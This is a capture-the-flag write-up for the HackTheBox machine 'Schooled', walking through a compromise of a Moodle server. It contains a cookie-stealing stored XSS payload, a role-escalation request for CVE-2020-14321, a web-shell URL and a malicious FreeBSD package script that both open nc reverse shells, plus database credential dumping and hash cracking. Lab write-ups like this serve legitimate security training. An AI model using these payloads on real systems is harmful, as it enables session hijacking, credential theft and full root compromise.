Schooled - [HTB]

Cover Image for Schooled - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Shcooled is a hard-medium linux machine from HackTheBox where the attacker will have to exploit several moodle vulnerabilities in order to obtain a reverse shell. Then, will have to crack the passwords stored in the moodle database in order to obtain the user flag. Finally, the attacker will have to craft a malign pkg package triggering a reverse shell during its installation.

    Enumeration

    As always, let's start finding all opened ports available in the machine with nmap.

    kali@kali:~/Documents/HTB/Schooled$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.10.234
    Warning: 10.10.10.234 giving up on port because retransmission cap hit (2).
    Nmap scan report for 10.10.10.234
    Host is up (0.044s latency).
    Not shown: 46911 filtered ports, 18621 closed ports
    PORT      STATE SERVICE
    22/tcp    open  ssh
    80/tcp    open  http
    33060/tcp open  mysqlx
    
    # Nmap done at Sat Apr  3 16:10:39 2021 -- 1 IP address (1 host up) scanned in 94.72 seconds

    Then, we continue gathering more information of each opened ports.

    kali@kali:~/Documents/HTB/Schooled$ sudo nmap -sC -sV -p22,80,33060 -n -oN PortsInDepth.txt 10.10.10.234
    Nmap scan report for 10.10.10.234
    Host is up (0.046s latency).
    
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
    | ssh-hostkey: 
    |   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
    |   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
    |_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
    80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
    |_http-title: Schooled - A new kind of educational institute
    33060/tcp open  mysqlx?
    | fingerprint-strings: 
    |   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
    |     Invalid message"
    |     HY000
    |   LDAPBindReq: 
    |     *Parse error unserializing protobuf message"
    |     HY000
    |   oracle-tns: 
    |     Invalid message-frame."
    |_    HY000
    [...]
    
    
    

    Because we need credentials for the mysql and ssh server, we should start looking at the web server.

    Schooled web

    In the contact information we see the domain schooled.htb.

    contactInfo

    Because using the domain doesn't provide anything useful, let's find some sub-domains with ffuz

    kali@kali:~/Documents/HTB/Schooled$ ffuf -w /usr/share/wordlists/custom.txt -H "HOST: FUZZ.schooled.htb" -u http://10.10.10.234/ -mc 200 -fl 462
    
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v1.1.0
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://10.10.10.234/
     :: Wordlist         : FUZZ: /usr/share/wordlists/custom.txt
     :: Header           : Host: FUZZ.schooled.htb
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 40
     :: Matcher          : Response status: 200
     :: Filter           : Response lines: 462
    ________________________________________________
    
    moodle                  [Status: 200, Size: 84, Words: 5, Lines: 2]

    ffuf provide us a new sub-domain moodle.schooled.htb, that once added to our /etc/hosts file, we can get access to the moodle platform.

    Schooled Moodle platform

    After creating an account in the moodle we can see that there are several courses available.

    After digging between all the courses there is an announcement by Manuel Phillips in the mathematics course that seems like a hint for what we have to do.

    This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.
    
    Students who do not set their MoodleNet profiles will be  removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.
    
    Look forward to seeing you all soon.
    
    Manuel Phillips
    

    Exploit 1

    The field MoodleNet can be found editing our profile. Furthermore, it seems vulnerable to stored xss. Hence, we can retrieve the Manuel Philips' session cookie, by saving the following code into the MoodleNet field of our profile.

    Note: Do not forget to change your IP address

    <scrip>document.write('<img src=x onerror=this.src="http://10.10.14.9/?c="+document.cookie>');</script>

    After saving the changes we need to create a simple HTTP server so we can retrieve the cookie. After a couple of seconds, we retrieve the Manuel Phillips' cookie.

    kali@kali:~/Documents/HTB/Schooled$ sudo python3 -m http.server 80
    [...]
    10.10.14.27 - - [05/Apr/2021 05:14:06] "GET /?c=MoodleSession=irt161571ro642daa25kkphgv5 HTTP/1.1" 200 - <- My Cookie
    10.10.10.234 - - [05/Apr/2021 05:14:18] "GET /?c=MoodleSession=lfqd0oppqni9ige0gojga4amsr HTTP/1.1" 200 - <- Manuel Phillips' cookie

    Exploit 2

    Once, replaced our cookie with Manuel's we will become a teacher in the Maths course. Then, after searching on google appears to be an exploit (CVE-2020-14321) that uses the role teacher to upgrade privileges, obtaining the role Manager.

    Note: You must do it pretty quickly, because the roles are reset after a while. So read these steps carefully before trying to exploit it.

    In order to do so, we need to enrol a user into the Maths course and intercept the request with Burpsuite.

    image-20210405112648810

    Once in burpsuite, we must modify the parameter serlist%5B%5D=28 , changing its value to 24 (Manuel's id) and the parameter roletoassign=5 to 1 (Manager role).

    GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=oLaBTOsHw2&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1
    Host: moodle.schooled.htb
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: */*
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://moodle.schooled.htb/moodle/user/index.php?id=5
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    Connection: close
    Cookie: MoodleSession=72nm3m4h4igo38jsgge1p65avd

    Now, we need to add Lianne Carter (The administrator of this moodle platform) as Manager of the Mathematics course, so we can login as her later on. For doing so, we only have to enrol him selecting the Manager role.

    Enrol Lianne Carter

    Then, going to the Manuel Phillips profile for the mathematics course, we need to click in the Manager link

    Manuel's roles

    Then we need to click on Lianne Carter.

    Managers List

    Then, clicking on "Log in as" we are able to login as him.

    Login As Lianne

    After that, we need to modify the Manager role permissions in order to be able to install a new plugin.

    First, we need to access to Site administration/Users/Define Roles/Manager/Edit. Then, we intercept with burpsuite the request produced by clicking on "Save changes", editing the request as the following link (Do not replace the sseskey variable).

    Now we can install a moodle plugin. The following plugin provide us with an RCE in the moodle web page. Once installed you will see the banner telling you, that it has been installed correctly.

    plugin Installed Successfully

    Now you can execute commands through this link.

    http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id

    If you want a reverse shell, use this link, changing the IP and port.

    http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.15.26%204444%20%3E%2Ftmp%2Ff

    Privilege escalation 1

    Once obtained our reverse shell, we are user www, so we need to escalate privileges. In order to do so, we need some credentials for the moodle database, which are stored in the config.php file.

    $ cat /usr/local/www/apache24/data/moodle/config.php
    [...]
    $CFG->dbtype    = 'mysqli';
    $CFG->dblibrary = 'native';
    $CFG->dbhost    = 'localhost';
    $CFG->dbname    = 'moodle';
    $CFG->dbuser    = 'moodle';
    $CFG->dbpass    = 'PlaybookMaster2020';
    $CFG->prefix    = 'mdl_';
    $CFG->dboptions = array (
      'dbpersist' => 0,
      'dbport' => 3306,
      'dbsocket' => '',
      'dbcollation' => 'utf8_unicode_ci',
    );
    [...]

    Now, with the database credentials in our hands we can extract the credentials from every registered user in the moodle platform.

    $ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "show databases; use moodle; show tables; describe mdl_user;"
    
    [...]
    username        varchar(100)    NO
    password        varchar(255)    NO
    [...]
    
    $ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "use moodle; SELECT username, password FROM mdl_user;"
    
    username        password
    guest   $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2
    admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
    bell_oliver89   $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK
    orchid_sheila89 $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC
    chard_ellzabeth89       $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC
    morris_jake89   $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy
    heel_james89    $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim
    nash_michael89  $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu
    singh_rakesh89  $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu
    taint_marcus89  $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa
    walls_shaun89   $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga
    smith_john89    $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em
    white_jack89    $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK
    travis_carl89   $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S
    mac_amy89       $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i
    james_boris89   $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq
    pierce_allan    $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy
    henry_william89 $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu
    harper_zoe89    $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy
    wright_travis89 $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm
    allen_matthew89 $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq
    sanders_wallis89        $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u
    higgins_jane    $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2
    phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG
    carter_lianne   $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe
    parker_dan89    $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi
    parker_tim89    $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S
    marmeus $2y$10$PxajPwQA4jH/QMdb4ohwPuRKWhIbm4eSFHfI5ZQCCBcVu2FE/f3PC
    pepe    $2y$10$wfXpNKAc1/KNWMbxEykLzeK82cGTJSfrzrUGTt07hQ5udT9xJdQU.

    All the passwords has been hashed using Blowfish, which is a very time consuming hash function.

    kali@kali:~/Documents/HTB/Schooled$ hashid
    $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
    Analyzing '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW'
    [+] Blowfish(OpenBSD) 

    Hence, we are going to focus on the admin's hash.

    kali@kali:~/Documents/HTB/Schooled$ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
    hashcat (v6.0.0) starting...
    
    [...]
    
    Dictionary cache hit:
    * Filename..: /usr/share/wordlists/rockyou.txt
    * Passwords.: 14344385
    * Bytes.....: 139921507
    * Keyspace..: 14344385
    
    [...]
    
    $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx

    Trying the password !QAZ2wsx with the users in the system jamie and steve we discovered that we can get access through SSH as jamie.

    Privilege escalation 2

    The user jamie can install FreeBSD packages. So as we did with the machine Armageddon, we are going to use the installation hooks in order to obtain a reverse shell as root.

    jamie@Schooled:~ $ sudo -l                     
    User jamie may run the following commands on Schooled:      
        (ALL) NOPASSWD: /usr/sbin/pkg update       
        (ALL) NOPASSWD: /usr/sbin/pkg install *

    In order to create the package I followed this post. But here you have the modified script adding the execution of a reverse shell.

    Note: Do not forget to change the IP and port.

    #!/bin/sh
    
    STAGEDIR=/tmp/package
    rm -rf ${STAGEDIR}
    mkdir -p ${STAGEDIR}
    
    cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
    # careful here, this may clobber your system
    echo "Resetting root shell"
    rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.15.26 4444 >/tmp/a
    EOF
    
    cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
    # careful here, this may clobber your system
    echo "Registering root shell"
    pw usermod -n root -s /bin/sh
    EOF
    
    cat >> ${STAGEDIR}/+MANIFEST <<EOF
    name: mypackage
    version: "1.0_5"
    origin: sysutils/mypackage
    comment: "automates stuff"
    desc: "automates tasks which can also be undone later"
    maintainer: john@doe.it
    www: https://doe.it
    prefix: /
    EOF
    
    echo "deps: {" >> ${STAGEDIR}/+MANIFEST
    pkg query "  %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
    pkg query "  %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
    echo "}" >> ${STAGEDIR}/+MANIFEST
    
    mkdir -p ${STAGEDIR}/usr/local/etc
    echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
    echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist
    
    pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

    Now we need to execute the script in the FreeBSD machine.

    jamie@Schooled:/tmp $ chmod +x script.sh; ./script.sh
    jamie@Schooled:/tmp $ ls             
    mypackage-1.0_5.txz     mysqlx.sock             script.sh                                     
    mysql.sock              mysqlx.sock.lock                                                      
    mysql.sock.lock         package 
    

    pkg by default checks the online FreeBSD repository catalogue before installing any package, it hangs until it updates the catalogue.

    jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install mypackage-1.0_5.txz
    Updating FreeBSD repository catalogue...
    pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
    
    

    Hence, we need to add the flag --no-repo-update so it doesn't update the catalogue.

    jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0_5.txz
    pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
    pkg: Repository FreeBSD cannot be opened. 'pkg update' required
    Checking integrity... done (0 conflicting)
    The following 1 package(s) will be affected (of 0 checked):
    New packages to be INSTALLED:
            mypackage: 1.0_5
    Number of packages to be installed: 1
    Proceed with this action? [y/N]: y
    [1/1] Installing mypackage-1.0_5...
    Resetting root shell
    rm: /tmp/a: No such file or directory      
    
    

    Now, the installation will hang, but it is due to our a reverse shell as root, getting the root flag.

    kali@kali:~/Documents/HTB/Schooled$ nc -nlvp 4444
    listening on [any] 4444 ...
    connect to [10.10.15.26] from (UNKNOWN) [10.129.109.156] 11387
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
    # wc -c /root/root.txt
    32